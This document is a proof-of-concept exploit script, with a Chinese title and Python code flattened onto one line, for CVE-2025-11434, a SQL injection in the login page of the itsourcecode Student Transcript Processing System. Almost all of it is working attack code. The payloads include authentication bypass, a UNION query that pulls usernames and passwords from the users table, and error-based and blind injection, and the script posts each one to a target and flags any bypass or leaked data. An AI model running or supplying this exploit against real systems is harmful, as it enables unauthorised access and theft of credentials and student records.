CVE-2025-11434：itsourcecode学生成绩处理系统SQL注入漏洞

# CVE-2025-11434 - itsourcecode Student Transcript Processing System SQL Injection PoC # Vulnerability: SQL Injection via 'uname' parameter in /login.php # CVSS: 7.3 (HIGH) import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" LOGIN_ENDPOINT = "/login.php" # SQL Injection payloads targeting the 'uname' parameter payloads = [ # Basic authentication bypass "' OR '1'='1' -- ", "' OR '1'='1' #", "admin' -- ", # Union-based injection to extract data "' UNION SELECT 1,2,3 -- ", "' UNION SELECT username,password,3 FROM users -- ", # Error-based injection "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- ", # Boolean-based blind injection "' AND 1=1 -- ", "' AND 1=2 -- ", # Time-based blind injection "' AND SLEEP(5) -- ", "' OR SLEEP(5) -- " ] def exploit_sql_injection(target_url, payload): """Send SQL injection payload via the uname parameter""" url = target_url.rstrip('/') + LOGIN_ENDPOINT data = { "uname": payload, "password": "test" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(url, data=data, headers=headers, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing SQL injection on parameter: uname") print("-" * 60) for i, payload in enumerate(payloads, 1): print(f"\n[+] Payload #{i}: {payload[:50]}...") response = exploit_sql_injection(TARGET_URL, payload) if response is not None: print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for successful bypass or error messages if "Welcome" in response.text or "Dashboard" in response.text: print(" [!] POSSIBLE AUTHENTICATION BYPASS DETECTED!") if "SQL" in response.text or "syntax" in response.text.lower(): print(" [!] SQL ERROR DETECTED - Vulnerability confirmed!") if "mysql" in response.text.lower() or "database" in response.text.lower(): print(" [!] Database information leaked!") print("\n[*] Scan complete.") if __name__ == "__main__": main()